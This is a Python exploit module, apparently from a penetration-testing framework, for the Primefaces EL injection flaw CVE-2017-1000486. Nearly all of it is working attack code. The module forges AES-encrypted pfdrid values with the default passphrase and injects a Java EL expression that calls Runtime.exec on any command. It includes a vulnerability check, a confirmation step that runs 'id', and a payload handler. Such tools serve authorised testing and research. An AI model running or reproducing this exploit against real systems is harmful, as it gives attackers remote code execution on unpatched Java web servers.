Primefaces EL Injection RCE (CVE-2017-1000486)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Primefaces weak encryption EL injection RCE (CVE-2017-1000486)."""

import base64
import re
from hashlib import md5

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Primefaces EL Injection RCE (CVE-2017-1000486)',
        'description': (
            'Exploits CVE-2017-1000486 in Primefaces 5.x: weak AES passphrase allows '
            'forging pfdrid payloads that evaluate Java EL expressions for RCE.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2017-1000486'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2017-1000486',
            'https://github.com/pimps/CVE-2017-1000486',
        ],
        'tags': ['primefaces', 'jsf', 'el-injection', 'rce', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2017_1000486_detect'],
            },
        },
    }

    resource_path = OptString(
        '/javax.faces.resource/dynamiccontent.properties.xhtml',
        'Primefaces dynamiccontent endpoint',
        required=False,
        advanced=True,
    )
    passphrase = OptString('primefaces', 'Primefaces crypto passphrase', required=False, advanced=True)

    _CHECK_PFDRID = (
        'uMKljPgnOTVxmOB+H6/QEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVbBkVHj5xLXXCaFGpOHe704aOkNwaB12Cc3Iq6NmBo+QZuqhqtPxdTA=='
    )

    def _encrypt_el(self, expression: str) -> str:
        try:
            from Crypto.Cipher import AES
            from Crypto.Util.Padding import pad
        except ImportError:
            return ''
        key = md5(str(self.passphrase or 'primefaces').encode()).digest()
        cipher = AES.new(key, AES.MODE_ECB)
        blob = cipher.encrypt(pad(expression.encode('utf-8'), 16))
        return base64.b64encode(blob).decode('utf-8')

    def _post(self, pfdrid: str) -> tuple[int, str, dict]:
        path = str(self.resource_path or '/javax.faces.resource/dynamiccontent.properties.xhtml').strip()
        r = self.http_request(
            method='POST',
            path=path,
            data=f'pfdrt=sc&ln=primefaces&pfdrid={pfdrid}',
            headers={
                'Content-Type': 'application/x-www-form-urlencoded',
                'Accept': '*/*',
            },
            allow_redirects=False,
        )
        headers = {str(k): str(v) for k, v in (r.headers or {}).items()} if r else {}
        return (r.status_code if r else 0, (r.text or '') if r else '', headers)

    def execute(self, cmd: str) -> str:
        safe = str(cmd).replace("'", "\\'")
        el = (
            f"%{{''.getClass().forName('java.lang.Runtime')"
            f".getMethod('getRuntime',null).invoke(null,null)"
            f".exec('{safe}')}}"
        )
        pfdrid = self._encrypt_el(el)
        if not pfdrid:
            return ''
        status, body, _headers = self._post(pfdrid)
        return body if status == 200 else ''

    def check(self):
        status, body, headers = self._post(self._CHECK_PFDRID)
        if status == 200 and any('Mogwailabs: CHECKCHECK' in v for v in headers.values()):
            return {'vulnerable': True, 'reason': 'Primefaces EL injection confirmed', 'confidence': 'high'}
        if status == 200 and 'CHECKCHECK' in body:
            return {'vulnerable': True, 'reason': 'Primefaces dynamiccontent accepts forged pfdrid', 'confidence': 'medium'}
        return {'vulnerable': False, 'reason': 'Primefaces EL bypass not confirmed', 'confidence': 'medium'}

    def check_execute(self):
        body = self.execute('id')
        return bool(re.search(r'uid=\d+', body or ''))

    def run(self):
        if not self.check().get('vulnerable'):
            self.not_vulnerable()
            return False
        if not self.check_execute():
            print_warning('EL exec not confirmed in-band — PyCryptodome required for custom payloads')
            return False
        return self.handler_execute()